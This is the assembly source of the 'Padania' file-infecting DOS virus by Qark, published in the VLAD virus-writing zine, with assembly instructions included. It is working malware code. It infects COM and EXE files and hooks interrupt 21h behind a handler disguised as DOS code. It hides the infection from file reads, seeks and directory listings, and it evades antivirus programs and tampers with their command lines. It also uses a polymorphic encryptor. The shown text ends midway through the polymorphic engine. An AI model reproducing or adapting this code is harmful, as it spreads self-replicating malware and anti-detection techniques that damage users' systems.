Virus Labs & Distribution
VLAD #7 - Padania Virus


;               Padania
;               by Qark/VLAD
;
;  This virus infects COM/EXE, direct action, as well as whilst resident.
;  It is full stealth - network compatible stealth - it doesn't use any
;  SFT's. It scan's the MCB chain for AV TSR's and won't go resident if it
;  finds one.  It sets up its own MCB and sets the owner as DOS.  The start
;  of the interrupt 21 handler has the standard DOS instructions so that a
;  person debugging casually won't know any difference.  The virus won't
;  infect anything that uses overlays.  It has its own polymorphic engine
;  that size pads so that the full stealth will work.  The virus adds
;  command line options to a number of anti-virus utilities.  It won't infect
;  some specified filenames that correspond with anti-virus utilities.  It
;  turns into a fast infector when certain programs are run.  It contains
;  many retro features.
;
;  I have dedicated this virus to my friends in Northern Italy who desire
;  separation of their country, Padania, from southern Italy.
;
; For a change:
;       assemble with tasm /m2 right
;       tlink right
;       exe2bin right.exe right.com


jumps
Virus   segment
assume cs:virus,ds:virus,ss:virus
        org     0
code:
vsize   equ     offset vsizer - offset code+85     ;Physical Size
msize   equ     offset msizer - offset code     ;Memory Size

        push    es
        mov     ah,52h
        int     21h
        mov     ds,word ptr es:[bx-2]
        pop     es
        
        mov     bx,ds                   ;BX = PSP
        mov     al,'Z' xor 0f9h
        xor     al,0f9h                 ;AL = 'Z'
nextmcb:
        mov     ds,bx                   ;DS = MCB Seg

        cmp     word ptr ds:[8],'BT'    ;TB*
        je      already_resident
        cmp     word ptr ds:[8],'EN'    ;NEMESIS
        je      already_resident

        cmp     byte ptr ds:[0],al
        je      foundz

        add     bx,word ptr ds:[3]      ;Size of Memory block
        inc     bx
        jmp     nextmcb

foundz:
        cmp     word ptr ds:[8],'OD'    ;DOS
        je      already_resident
        mov     ax,((msize+0fh)/10h)+1
        sub     word ptr ds:[3],ax              ;Allocate memory from MCB
        sub     word ptr es:[2],ax              ;From PSP
        mov     al,'M' xor 0bfh
        xor     al,0bfh
        mov     byte ptr ds:[0],al              ;Make it a M block

        add     bx,word ptr ds:[3]
        inc     bx
        mov     ds,bx                           ;DS=Virus MCB

        mov     al,'Z' xor 88h
        xor     al,88h
        mov     byte ptr ds:[0],al
        mov     ax,8+99h
        sub     ax,99h
        mov     word ptr ds:[1],ax              ;DOS segment
        mov     ax,(msize+0fh)/10h
        mov     word ptr ds:[3],ax
        mov     word ptr ds:[8],'OD'
        mov     byte ptr ds:[10],'S'
        mov     byte ptr ds:[11],0

        inc     bx
        mov     ds,bx

        call    get_delta
retdelta:
        sub     si,offset retdelta
        mov     word ptr cs:[si+delta],si

        mov     word ptr cs:[si+stub_cs],cs
        mov     ax,si
        add     ax,offset already_resident
        mov     word ptr cs:[si+stub_ip],ax

        mov     cx,vsize
        sub     di,di
movevirus:
        mov     al,byte ptr cs:[si]
        mov     byte ptr ds:[di],al
        inc     si
        inc     di
        loop    movevirus

        push    ds
        mov     ax,offset nextcs
        push    ax
        retf
nextcs:

        sub     ax,ax
        mov     ds,ax

        mov     si,2

        ;Set interrupt 21h
        mov     ax,word ptr ds:[si+21h*4-2]
        mov     word ptr cs:[o21],ax
        mov     ax,word ptr ds:[si+21h*4]
        mov     word ptr cs:[o21+2],ax

        mov     word ptr ds:[si+21h*4-2],offset virus_handler
        mov     word ptr ds:[si+21h*4],cs

        ;Kill a few AV utilities
        mov     ax,4b00h xor 9641h
        xor     ax,9641h
        call    simint21

        mov     ah,19h          ;Don't do it on floppy drives.. too slow!
        call    simint21
        cmp     al,2
        jb      return_to_stub

        push    es
        mov     ah,2fh
        call    simint21
        mov     word ptr cs:dtads,es
        mov     word ptr cs:dtadx,bx
        pop     es

        mov     ds,word ptr cs:stub_cs
        mov     dx,word ptr cs:delta
        mov     ah,1ah
        call    simint21

        push    cs
        pop     ds

        sub     ax,ax
ffloop:
        add     ah,4eh
        push    cs
        pop     ds
        mov     dx,offset starcom
        mov     cx,3
        call    simint21
        jc      restdta

        mov     si,word ptr delta
        mov     ds,word ptr stub_cs

        mov     al,byte ptr [si+16h]
        and     al,1fh
        cmp     al,2
        je      nextfile
        lea     dx,[si+1eh]
        mov     ax,4300h
        int     21h
        jmp     restdta
nextfile:
        mov     ax,100h
        jmp     ffloop
restdta:
        push    cs
        pop     ds
        mov     dx,word ptr dtadx
        mov     ds,word ptr dtads
        mov     ah,1ah
        call    simint21
return_to_stub:
        db      0eah
stub_ip dw      offset already_resident
stub_cs dw      0

delta   dw      0
starcom db      "*m.com",0

dtads   dw      0
dtadx   dw      0

already_resident:
;return to user

        call    get_delta
retdelta2:
        push    cs
        pop     ds
        sub     si,offset retdelta2

        mov     ax,ss
        mov     bx,cs
        cmp     ax,bx
        jne     exeload

        mov     di,100h xor 1928h
        xor     di,1928h

        mov     ax,word ptr [si+combyte]
        mov     word ptr ds:[di],ax
        mov     al,byte ptr [si+combyte+2]
        mov     byte ptr ds:[di+2],al

        sub     ax,ax
        mov     bx,ax
        mov     cx,ax
        mov     dx,ax
        mov     si,ax

        jmp     di

exeload:
        push    es
        pop     ds
        mov     ax,es
        add     ax,10h
        add     ax,word ptr cs:[si+header+16h]
        mov     word ptr cs:[si+run_time_cs_ip+2],ax
        mov     ax,word ptr cs:[si+header+14h]
        mov     word ptr cs:[si+run_time_cs_ip],ax
        jmp     $+2

        mov     ax,es
        add     ax,10h
        add     ax,word ptr cs:[si+header+0eh]

        cli
        mov     ss,ax
        mov     sp,word ptr cs:[si+header+10h]
        sti


        sub     ax,ax
        mov     bx,ax
        mov     cx,ax
        mov     dx,ax
        mov     si,ax
        mov     di,ax

        db      0eah
run_time_cs_ip  dd      0

db      "Padania Virus by Qark/VLAD",0dh,0ah
db      "This virus is dedicated to all the people in Padania",0dh,0ah
db      "(Northern Italy) who seek separation from Southern Italy",0dh,0ah
db      "and to their party Lega Nord.",0dh,0ah

db      "Questo virus e' dedicato agli abitanti della Padania, in cerca dell'",0dh,0ah
db      "indipendenza dal sud italia, ed al loro movimento Lega Nord",0dh,0ah

combyte dw      20cdh
        db      0

virus_handler:
        ;From the DOS kernel.. looks like normal DOS code this way.
        cli
        cmp     ah,6ch
        ja      sj1
        cmp     ah,33h
        jb      sj1
        jz      sj2
        cmp     ah,64h
        ja      sj2
        jz      sj1
        cmp     ah,51h
        jz      sj1
        cmp     ah,62h
        jz      sj2
        cmp     ah,50h
        jz      sj1
sj2:
        push    ax
        push    bx
        push    cx
        nop
        pop     cx
        pop     bx
        pop     ax
sj1:
        
        cmp     ah,byte ptr cs:heurfunc         ;File Execute
        je      dinfect
        cmp     ah,3dh          ;File Open
        je      dinfect
        cmp     ax,6c00h        ;File Open
        je      dinfect
        cmp     ah,43h          ;File Attribute Change
        je      dinfect
        cmp     ah,41h          ;File Delete
        je      dinfect
        cmp     ah,byte ptr cs:heurfunc+1       ;FCB Find First
        je      dfcbstealth
        cmp     ah,byte ptr cs:heurfunc+2       ;FCB Find Next
        je      dfcbstealth
        cmp     ah,4eh          ;Find First
        je      dfilestealth
        cmp     ah,4fh          ;Find Next
        je      dfilestealth
        cmp     ah,42h          ;File Seek
        je      dseekstealth
        cmp     ah,3fh          ;File Read
        je      dreadstealth
        cmp     ax,5700h        ;Get Time
        je      dtimestealth
        cmp     ah,3eh
        je      dclosetime
        
exitv21:
        db      0eah
o21     dd      0

heurfunc        db      4bh,11h,12h

dinfect:
        jmp     infect
dfcbstealth:
        jmp     fcbstealth
dfilestealth:
        jmp     filestealth
dseekstealth:
        jmp     seekstealth
dreadstealth:
        jmp     readstealth
dtimestealth:
        jmp     timestealth
dclosetime:
        jmp     closetime

closetime:
        call   handlechk
        je     infclose
noclosestealth:
        jmp    exitv21
infclose:
        ;call    check4stealth
        ;je      noclosestealth

        push    ax
        push    cx
        push    dx
        mov     ax,5700h
        call    simint21
        and     cl,0e0h
        or      cl,2
        mov     ax,5701h xor 0fa49h
        xor     ax,0fa49h
        call    simint21
        pop     dx
        pop     cx
        pop     ax
        jmp    exitv21

timestealth:
;5700h
        call    simint21
        jc      timeexit
        pushf
        push    cx
        and     cl,1fh
        cmp     cl,1fh
        jne     oktimeout
        pop     cx
        and     cl,0e0h
        or      cl,2
        push    cx
oktimeout:
        pop     cx
        popf
timeexit:
        retf    2

handlechk       proc    near
;if je then yes, infected!
        push    cx
        push    dx
        call    get_time
        and     cl,1fh
        cmp     cl,1fh
        pop     dx
        pop     cx
        ret
handlechk       endp


readstealth:
        ;handles 3fh
        ;bx=file handle
        call    check_handle
        jz      isreadfile
notread:
        jmp     exitv21
isreadfile:
        call    handlechk
        jne     notread
        call    check4stealth
        je      notread
        push    ax
        push    dx
        call    getcurfilepointer
        mov     word ptr cs:seekdx,dx
        mov     word ptr cs:seekax,ax
        pop     dx
        pop     ax
        mov     word ptr cs:readaddr,dx
        call    simint21
        jc      readfail
        pushf
        push    cx
        push    dx
        push    si
        mov     word ptr cs:bytesread,ax        ;Save bytes read
        cmp     word ptr cs:seekdx,0
        jne     notheader
        cmp     word ptr cs:seekax,1ch
        jae     notheader

        ;The header was read from.
        ;Read old header data over data read
        
        call    getcurfilepointer
        push    dx
        push    ax

        call    fpend

        sub     ax,offset vsizer-offset header
        sbb     dx,0
        add     ax,word ptr cs:seekax
        adc     dx,0

        mov     cx,dx
        mov     dx,ax
        mov     ax,4200h
        call    simint21

        mov     ax,word ptr cs:seekax
        add     ax,word ptr cs:bytesread
        cmp     ax,1ch
        jbe     oknumread
        mov     ax,1ch
        sub     ax,word ptr cs:seekax
        mov     cx,ax
        jmp     fixedcx
oknumread:
        mov     cx,word ptr cs:bytesread
fixedcx:
        mov     dx,word ptr cs:readaddr
        mov     ah,3fh
        call    simint21

        pop     dx
        pop     cx
        mov     ax,4200h
        call    simint21

notheader:      ;check read past end of file
        mov     ax,word ptr cs:bytesread
        add     word ptr cs:seekax,ax
        adc     word ptr cs:seekdx,0

        call    fpend
        sub     ax,vsize
        sbb     dx,0

        cmp     dx,word ptr cs:seekdx
        ja      withinbounds
        jb      rbadread
        cmp     ax,word ptr cs:seekax
        jae     withinbounds
rbadread:
        push    ax
        push    dx
        sub     word ptr cs:seekax,ax
        sbb     word ptr cs:seekdx,dx
        mov     ax,word ptr cs:seekax
        sub     word ptr cs:bytesread,ax
        pop     dx
        pop     ax

        mov     word ptr cs:seekdx,dx
        mov     word ptr cs:seekax,ax
withinbounds:
        mov     dx,word ptr cs:seekax
        mov     cx,word ptr cs:seekdx
        mov     ax,4200h
        call    simint21

        pop     si
        pop     dx
        pop     cx
        mov     ax,word ptr cs:bytesread
        popf
readfail:
        retf    2

getcurfilepointer       proc    near
;returns the file pointer in dx:ax
        push    cx
        mov     ax,4201h
        sub     cx,cx
        cwd
        call    simint21
        pop     cx
        ret
getcurfilepointer       endp

seekstealth:
        ;bx=file handle
        ;stealths file pointer function 42h to give original filesize

        call    check_handle
        jz      isseekfile
notseek:
        jmp     exitv21
isseekfile:
        call    handlechk
        jne     notseek
        call    check4stealth
        je      notseek
        call    simint21
        jc      exitseek
        pushf
        mov     word ptr cs:seekdx,dx
        mov     word ptr cs:seekax,ax
        push    ax
        push    cx
        push    dx
        mov     ax,4202h
        cwd
        sub     cx,cx
        call    simint21
        sub     ax,vsize
        sbb     dx,0
        cmp     dx,word ptr cs:seekdx
        ja      smallenuff
        jb      reallybad
        cmp     ax,word ptr cs:seekax
        jae     smallenuff
reallybad:
        mov     word ptr cs:seekdx,dx
        mov     word ptr cs:seekax,ax
smallenuff:
        mov     dx,word ptr cs:seekax
        mov     cx,word ptr cs:seekdx
        mov     ax,4200h
        call    simint21
        pop     dx
        pop     cx
        pop     ax
        popf
        mov     ax,word ptr cs:seekax
        mov     dx,word ptr cs:seekdx
exitseek:
        retf    2

readaddr        dw      0
bytesread       dw      0
seekax          dw      0
seekdx          dw      0

filestealth:
        call    check4stealth
        jne     normalstealth
        jmp     exitv21
normalstealth:
        call    simint21
        jc      noffiles

        pushf
        push    ax
        push    bx
        push    si
        push    es

        mov     ah,2fh
        call    simint21

        lea     si,word ptr [bx+1eh]
findenn:
        cmp     byte ptr es:[si],0
        je      foundnn
        inc     si
        jmp     findenn
foundnn:
        cmp     word ptr es:[si-2],'EX'
        je      goodfile
        cmp     word ptr es:[si-2],'MO'
        je      goodfile
goodfile:
        mov     ax,word ptr es:[bx+16h]
        and     al,1fh
        cmp     al,2
        jne     notgoodfile
        cmp     word ptr es:[bx+1ch],0
        jne     oksizefcb
        cmp     word ptr es:[bx+1ah],1499+vsize
        jb      notgoodfile
oksizefcb:
        sub     word ptr es:[bx+1ah],vsize
        sbb     word ptr es:[bx+1ch],0
notgoodfile:
        pop     es
        pop     si
        pop     bx
        pop     ax
        popf
noffiles:
        retf    2


fcbstealth:
        push    ax
        push    bx
        push    ds
        mov     ah,51h
        call    simint21
        dec     bx
        mov     ds,bx
        cmp     word ptr ds:[8+2],'MM'
        pop     ds
        pop     bx
        pop     ax
        jne     nofcbstealth

        call    simint21
        cmp     al,0
        je      filefound
        iret
filefound:
        push    ax
        push    bx
        push    ds
        push    es
        mov     ah,2fh
        call    simint21

        cmp     byte ptr es:[bx],0ffh
        jne     xtndfcb
        add     bx,7
xtndfcb:
        cmp     word ptr es:[bx+9],'XE'
        je      okfcbname
        cmp     word ptr es:[bx+9],'OC'
        je      okfcbname
        jmp     exitfcb
okfcbname:
        mov     al,byte ptr es:[bx+17h]
        and     al,1fh
        cmp     al,2
        jne     exitfcb
        cmp     word ptr es:[bx+1fh],0
        jne     oksizeff
        cmp     word ptr es:[bx+1dh],1499+vsize
        jb      exitfcb
oksizeff:
        sub     word ptr es:[bx+1dh],vsize
        sbb     word ptr es:[bx+1fh],0
exitfcb:
        pop     es
        pop     ds
        pop     bx
        pop     ax
        iret

nofcbstealth:
        jmp     exitv21

infect:
        pushf
        push    ax
        push    bx
        push    cx
        push    dx
        push    si
        push    di
        push    ds
        push    es
        push    bp

        call    set_int24
        xchg    ah,al
        cmp     ax,4bh
        xchg    ah,al
        jne     notscanner
        call    new_command_line
notscanner:
        call    infect_file
        call    restore24

        pop     bp
        pop     es
        pop     ds
        pop     di
        pop     si
        pop     dx
        pop     cx
        pop     bx
        pop     ax
        popf
        cmp     ah,3dh
        je      open_entry
        cmp     ax,6c00h
        je      open_entry
dontopen:
        jmp     exitv21

open_entry:
;exe/com, see if it's infected.. if so, change time to 62 seconds
;if not.. infect it!
        push    si
        push    dx
        cmp     ah,6ch
        jne     not6c
        test    dl,2
        jz      notcreate
        stc
        jmp     fail6c
notcreate:
        mov     dx,si
not6c:
        mov     si,dx
        call    check_name
fail6c:
        pop     dx
        pop     si
        jc      dontopen
        call    simint21        ;open it
        jc      opened
        pushf
        push    ax
        push    bx
        push    cx
        push    dx
        mov     bx,ax
        mov     ax,5700h
        call    simint21
        jc      fgetit
        push    cx
        and     cl,1fh
        cmp     cl,2
        pop     cx
        jne     fgetit
        mov     ax,5701h xor 38bch       ;set 62 seconds marker
        xor     ax,38bch
        or      cl,1fh
        call    simint21
fgetit:
        pop     dx
        pop     cx
        pop     bx
        pop     ax
        popf
opened:
        retf    2

infect_file     proc    near
;ds:dx=filename
        cmp     ah,6ch
        jne     no6cfix
        mov     dx,si
no6cfix:
        mov     si,dx
        call    check_name
        jnc     okname
        ret
attributes      dw      0
okname:
        mov     ax,4300h
        call    simint21
        jc      tryopen
        mov     word ptr cs:attributes,cx
        sub     cx,cx
        mov     ax,4301h xor 4ab3h
        xor     ax,4ab3h
        call    simint21
tryopen:
        mov     ax,3d02h
        call    simint21
        jc      filefail

        push    cs
        pop     ds

        mov     bx,ax

        mov     dx,offset header
        mov     cx,1ch
        mov     ah,3fh
        call    simint21

        mov     si,offset header

        mov     ax,'ZM' xor 9977h
        xor     ax,9977h

        cmp     word ptr [si],ax
        je      infexe
        xchg    ah,al
        cmp     word ptr [si],ax
        je      infexe
        call    infect_com
        jmp     finishup
infexe:
        call    infect_exe
finishup:
        mov     ah,3eh
        call    simint21

        mov     dx,offset vsizer
        mov     cx,word ptr attributes
        mov     ax,4301h xor 96ddh
        xor     ax,96ddh
        call    simint21

filefail:
        ret
infect_file     endp

check4stealth   proc    near
;je nostealth
        push    ax
        push    bx
        push    ds
        
        mov     ah,51h
        call    simint21
        dec     bx
        mov     ds,bx
        mov     ax,word ptr ds:[8]
        cmp     ax,'KP'                 ;PKzip
        je      foundfast
        cmp     ax,'RA'                 ;ARj
        je      foundfast
        cmp     ax,'UU'                 ;UUencode
        je      foundfast
        cmp     ax,'AB'                 ;BAckup
        je      foundfast
        cmp     ax,'HL'                 ;LHa
        je      foundfast
        cmp     ax,'AR'                 ;RAr
        je      foundfast
        cmp     ax,'OM'                 ;MOdem
        je      foundfast
        cmp     ax,'PS'                 ;SPeedisk
        je      foundfast
        cmp     ax,'ED'                 ;DEfrag
        je      foundfast

        cmp     ax,'SM'                 ;MSbackup
        je      test4b
        cmp     ax,'PC'                 ;CPbackup
        jne     foundfast
test4b:
        cmp     byte ptr ds:[10],'B'
foundfast:
        pop     ds
        pop     bx
        pop     ax
        ret
check4stealth   endp

check_name      proc    near
        push    ax
        push    ds
        push    si
        push    di
        push    es
        push    cs
        pop     es
        mov     di,offset vsizer
        mov     ah,60h
        call    simint21
        
        push    cs
        pop     ds

        mov     si,offset vsizer
        cmp     byte ptr [si+2],'/'
        je      fail_name
findend:
        cmp     byte ptr [si],0
        je      findnamestart
        inc     si
        mov     di,si
        jmp     findend
findnamestart:
        cmp     byte ptr [si],'\'
        je      foundnamestart
        dec     si
        jmp     findnamestart
foundnamestart:
        inc     si
        mov     ax,word ptr [si]
        cmp     ax,'VA'                 ;AVxxxx
        je      fail_name
        cmp     ax,'BT'                 ;TBxxxx
        je      fail_name
        cmp     ax,'IV'                 ;IV
        je      fail_name
        cmp     ax,'RP'                 ;PRxxxx
        je      fail_name
        cmp     ax,'V-'                 ;AVP?
        je      fail_name
        mov     ax,word ptr [di-2]      ; . e x e 0
                                        ;   -3-2-1|
        cmp     ax,'EX'
        je      pass_name
        cmp     ax,'MO'
        je      pass_name

        jmp     fail_name

pass_name:
        clc
        jmp     $+3
fail_name:
        stc
        pop     es
        pop     di
        pop     si
        pop     ds
        pop     ax

        ret
check_name      endp

New_Command_Line        proc    near
;adds parameters to the command lines of AV programs
        pushf
        push    ax
        push    bx
        push    cx
        push    dx
        push    si
        push    di
        push    ds
        push    es

        push    cs
        pop     es
        mov     si,dx
        mov     di,offset vsizer
        mov     ah,60h
        call    simint21

        push    cs
        pop     ds

        mov     si,offset vsizer
findeon:
        inc     si
        cmp     byte ptr [si],0
        jne     findeon
findsl:
        dec     si
        cmp     byte ptr [si],'\'
        jne     findsl
        inc     si
        ;si now points to the start of the name!
        mov     di,offset names
        cld

        push    si
matchloop:
        lodsb
        cmp     byte ptr [di],0
        je      matched
        inc     di
        cmp     al,byte ptr [di-1]
        je      matchloop
        pop     si
        push    si
f1namel:
        cmp     byte ptr [di],0
        je      f2name1
        inc     di
        jmp     f1namel
f2name1:
        inc     di
f2name:
        cmp     byte ptr [di],0
        je      f3name
        inc     di
        jmp     f2name
f3name:
        inc     di
        cmp     byte ptr [di],0
        jne     matchloop
        pop     si
        jmp     none_found
matched:
        pop     si        
        inc     di
        pop     es
        push    es
        mov     si,word ptr es:[bx+2]
        mov     ds,word ptr es:[bx+4]
        mov     al,byte ptr cs:[di]
        add     byte ptr [si],al
findcr:
        inc     si
        cmp     byte ptr [si],0dh        
        jne     findcr
        mov     byte ptr [si],20h
execl:
        inc     si
        inc     di
        mov     al,byte ptr cs:[di]
        cmp     al,0
        je      finalprep
        mov     byte ptr [si],al
        jmp     execl
finalprep:
        mov     byte ptr [si],0dh
        
none_found:
        pop     es
        pop     ds
        pop     di
        pop     si
        pop     dx
        pop     cx
        pop     bx
        pop     ax
        popf
        ret
new_command_line        endp
        
;file name followed by command line
names   db      "TBSCAN",0,6,"CO NM",0
        db      "TBSETUP",0,3,"RM",0
        db      "AVP",0,3,"/M",0
        db      "F-PROT",0,15,"/NOMEM /COMPAT",0
        db      "SCAN",0,7,"/NOMEM",0
        db      "AVSCAN",0,4,"/NM",0
        db      0

infect_com      proc    near
;bx=filehandle, header read into 'header'
        call    check_infect
        jne     not_infected
        ret
not_infected:
        mov     ax,word ptr [si]
        mov     word ptr combyte,ax
        mov     al,byte ptr [si+2]
        mov     byte ptr combyte+2,al

        call    save_time

        call    fpend
        or      dx,dx
        jnz     badcom
        cmp     ax,50000
        ja      badcom
        cmp     ax,1500
        jb      badcom
        push    ax
        sub     ax,3
        mov     word ptr comstart+1,ax
        pop     ax
        add     ax,100h
        mov     dl,1
        sub     si,si
        mov     di,offset encplace
        mov     cx,offset header
        push    cs
        pop     es
        call    spoly

        mov     dx,offset encplace
        mov     ah,40h
        call    simint21
        jc      badcom

        mov     dx,offset header
        mov     cx,1ch
        mov     ah,40h
        call    simint21
        
        call    fpstart
        
        mov     dx,offset comstart
        mov     cx,3
        mov     ah,40h
        call    simint21

        call    set_time
badcom:
        ret
infect_com      endp

infect_exe      proc    near
;bx=filehandle, header read into 'header'

        call    check_infect
        jne     not_exe_infect
        ret
not_exe_infect:
        cmp     word ptr [si+18h],40h   ;Don't do windows EXE's
        je      badexe
        cmp     word ptr [si+0ch],-1
        jne     badexe

        call    save_time
        
        ;Below is checking for internal overlays
        call    fpend
        or      dx,dx
        jnz     exesizeok
        cmp     ax,2000
        jb      badexe
exesizeok:
        push    bx
        mov     bx,ax
        mov     cx,dx
        cmp     word ptr [si+2],0
        je      nopartpage
        dec     word ptr [si+4]
nopartpage:
        mov     ax,200h
        mul     word ptr [si+4]
        add     ax,[si+2]
        adc     dx,0

        cmp     ax,bx
        pop     bx
        jne     badexe          ;overlays ?
        cmp     cx,dx
        jne     badexe          ;overlays ?

        cmp     word ptr [si+2],0
        je      nopartpage2
        inc     word ptr [si+4]
nopartpage2:
        call    fpend
        mov     cx,10h
        div     cx
        mov     ax,dx
        mov     dl,0
        sub     si,si
        mov     di,offset encplace
        mov     cx,offset header
        push    cs
        pop     es
        call    spoly

        mov     dx,offset encplace
        mov     ah,40h
        call    simint21
        jc      badexe

        mov     dx,offset header
        mov     si,dx
        mov     cx,1ch
        mov     ah,40h
        call    simint21
                
        call    fpend

        sub     ax,vsize
        sbb     dx,0

        mov     cx,10h
        div     cx

        sub     ax,word ptr [si+8]

        mov     word ptr [si+14h],dx
        mov     word ptr [si+16h],ax

        add     ax,(offset vsizer - offset code)/16
        inc     ax
        mov     word ptr [si+0eh],ax
        mov     word ptr [si+10h],512

        ;dec     ax
        ;add     dx,offset vsizer+5000
        ;and     dx,0fffeh
        ;mov     word ptr [si+0eh],ax
        ;mov     word ptr [si+10h],dx

        call    fpend

        mov     cx,200h
        div     cx
        or      dx,dx
        jz      nopageinc
        inc     ax
nopageinc:
        mov     word ptr [si+2],dx
        mov     word ptr [si+4],ax
        call    fpstart

        mov     dx,si
        mov     cx,1ch
        mov     ah,40h
        call    simint21

        call    set_time
badexe:
        ret
infect_exe      endp

;Various file pointer functions
fpend:
        mov     al,2
        jmp     fp
fpstart:
        mov     al,0
        jmp     fp
fpcur:
        mov     al,1
fp:
        mov     ah,42h
        sub     cx,cx
        cwd
        call    simint21
        ret

check_handle    proc    near
;jz isfile
        push    ax
        push    dx
        mov     ax,4400h
        call    simint21
        test    dl,80h
        pop     dx
        pop     ax
        ret
check_handle    endp

check_infect    proc    near
;if je then yes, infected!
        push    cx
        push    dx
        call    get_time
        and     cl,1fh
        cmp     cl,2
        pop     dx
        pop     cx
        ret
check_infect    endp

get_time        proc    near
        push    ax
        mov     ax,5700h
        call    simint21
        pop     ax
        ret
get_time        endp

save_time       proc    near
        call    get_time
        mov     word ptr cs:date,dx
        mov     word ptr cs:time,cx
        ret
save_time       endp

date    dw      0
time    dw      0

set_time        proc    near
        mov     dx,word ptr cs:date
        mov     cx,word ptr cs:time
        and     cl,0e0h
        or      cl,2
        mov     ax,5701h xor 9912h
        xor     ax,9912h
        call    simint21
        ret
set_time        endp

get_delta       proc    near
        pop     si
        push    si
        ret
get_delta       endp

set_int24       proc    near
        push    ax
        push    dx
        push    ds
        push    es
        push    bx
        mov     ax,3524h
        call    simint21
        
        push    cs
        pop     ds
        mov     word ptr saved24,bx
        mov     word ptr saved24+2,es

        mov     dx,offset errorhandler
        mov     ax,2524h
        call    simint21

        pop     bx
        pop     es
        pop     ds
        pop     dx
        pop     ax
        ret

saved24 dd      0

set_int24       endp

restore24       proc    near
        push    ax
        push    ds
        push    dx
        mov     ds,word ptr cs:saved24+2
        mov     dx,word ptr cs:saved24
        mov     ax,2524h
        call    simint21
        pop     dx
        pop     ds
        pop     ax
        ret
restore24       endp

errorhandler:
        mov     al,3
        iret

spoly   proc    near
;overall size of the compiled code is about 742 bytes
;ax=delta offset
;dl=1 = com file = 0 = exe file
;ds:si = virus = ds:0
;es:di = place to put decryptor + encrypted virus
;cx=virus size
;ds=cs=es
;on return cx=size of stuff = 85
;all decryptors are 85 bytes long - stable length

        cld
        mov     word ptr regtable,1
        mov     word ptr regtable+2,0
        mov     word ptr regtable+4,1
        mov     word ptr regtable+6,0

        mov     word ptr deltaval,ax
        mov     word ptr virusval,cx
        mov     byte ptr setupbyte,0

        mov     word ptr virusget,si
        mov     word ptr virusput,di

        mov     byte ptr inloop,0

        ;Setup pointer register

        mov     ax,3
        call    genrand

        shl     ax,1
        add     ax,offset sip
        mov     si,ax

        mov     al,byte ptr [si]
        mov     byte ptr pointrm,al
        mov     al,byte ptr [si+1]
        mov     byte ptr pointr,al
        sub     ah,ah
        add     ax,offset regtable
        mov     si,ax
        mov     byte ptr [si],1

        ;Setup cipher register
nextcipher:
        mov     ax,8
        call    genrand
        mov     byte ptr cipherr,al
        add     ax,offset regtable
        mov     si,ax
        cmp     byte ptr [si],1
        je      nextcipher
        mov     byte ptr [si],1

        ;Setup vsize register
nextvsize:
        mov     ax,8
        call    genrand
        mov     byte ptr virusr,al
        add     ax,offset regtable
        mov     si,ax
        cmp     byte ptr [si],1
        je      nextvsize
        mov     byte ptr [si],1

        mov     byte ptr regtable,0     ;clear AX

        call    make_stub

        call    makegarbage

        mov     byte ptr inloop,1
        mov     bp,di

        or      dl,dl           ;0=exe, 1 = com
        jnz     comfile
        mov     al,2eh
        stosb
comfile:
        mov     al,31h
        stosb
        mov     al,byte ptr cipherr
        mov     cl,3
        shl     al,cl
        or      al,byte ptr pointrm
        stosb

        call    makegarbage

        mov     al,40h
        or      al,byte ptr pointr
        stosb

        call    makegarbage

        mov     al,81h
        stosb
        mov     al,byte ptr cipherr
        or      al,0c0h
        stosb
        call    randval
        stosw
        mov     word ptr addval,ax

        call    makegarbage

        mov     al,48h
        or      al,byte ptr virusr
        stosb

        mov     al,75h
        stosb

        mov     ax,di
        inc     ax
        sub     ax,bp
        neg     ax
        stosb

        mov     word ptr encstart,di

        mov     ax,di
        neg     ax
        add     ax,word ptr virusput
        add     ax,85
        mov     si,word ptr ppos
        sub     word ptr [si],ax
        mov     si,word ptr vpos
        add     word ptr [si],ax
        add     word ptr cvirus,ax
        
        mov     cx,ax
        mov     al,90h                  ;pad with nops
        rep     stosb

        mov     si,word ptr virusget
        mov     cx,word ptr virusval
        rep     movsb

        mov     ax,word ptr ccipher
        mov     si,word ptr encstart
        mov     cx,word ptr cvirus
encirus:
        xor     word ptr [si],ax
        add     ax,word ptr addval
        inc     si
        loop    encirus
        
        sub     di,word ptr virusput
        mov     cx,di

        ret

sip     db      4,6     ;r/m,reg
dip     db      5,7
bip     db      7,3

makegarbage     proc    near
        mov     ax,4
        call    genrand
        shl     ax,1
        add     ax,offset gcalls
        mov     si,ax
        mov     ax,word ptr [si]
        jmp     ax
makegarbage     endp

gcalls  dw      offset g1
        dw      offset g2
        dw      offset g3
        dw      offset g4

garbage4:
        mov     ah,1
        int     16h
        mov     ah,2
        int     16h
        mov     ah,0dh
        int     21h
        mov     ah,19h
        int     21h
        mov     ah,54h
        int     21h
        mov     ah,0bh
        int     21h
        mov     ah,3bh
        int     21h
        mov     ah,0
        int     13h

g4      proc    near
;Wacks an interrupt vector into the buffer
        cmp     byte ptr inloop,1
        je      g2st
        mov     ax,8
        call    genrand
        shl     ax,1
        shl     ax,1
        add     ax,offset garbage4
        mov     si,ax
        movsw
        movsw
        ret
g4      endp

g3      proc    near
;creates a mov
        call    genreg
        or      al,0b8h
        stosb
        call    randval
        stosw
        ret
g3      endp

g2      proc    near
;creates op reg,reg instructions
g2st:
        mov     ax,8
        call    genrand
        mov     cl,3
        shl     al,cl
        or      al,3
        stosb
        call    genreg
        shl     al,cl
        or      al,0c0h
        mov     cl,al
        mov     ax,8
        call    genrand
        or      al,cl
        stosb
        ret
g2      endp

g1      proc    near
        mov     ax,2
        call    genrand
        mov     cl,3
        shl     al,cl
        mov     cl,al
        call    genreg
        or      al,cl
        or      al,40h
        stosb
        ret
g1      endp

genreg  proc    near
;returns al=reg
nextgr:
        mov     ax,8
        call    genrand
        mov     si,ax
        add     si,offset regtable
        cmp     byte ptr [si],1
        je      nextgr
        ret
genreg  endp
        

make_stub       proc    near
stubloop:
        mov     ax,6
        call    genrand
        shl     ax,1
        add     ax,offset stubtab
        mov     si,ax
        mov     ax,word ptr [si]
        call    ax
        cmp     byte ptr setupbyte,0eeh
        jne     stubloop
        ret
make_stub       endp

stubtab dw      offset addsub_pointer
        dw      offset addsub_cipher
        dw      offset addsub_virus
        dw      offset setup_pointer
        dw      offset setup_cipher
        dw      offset setup_virus

addsub_pointer  proc    near
        test    byte ptr setupbyte,80h
        jz      noap
        test    byte ptr setupbyte,8
        jnz     noap
        call    makegarbage
        mov     al,81h
        stosb
        mov     al,byte ptr pointr
        or      al,0c0h
        stosb

        mov     word ptr ppos,di
        mov     ax,85
        add     ax,word ptr deltaval
        sub     ax,word ptr cpoint
        stosw
        add     word ptr cpoint,ax
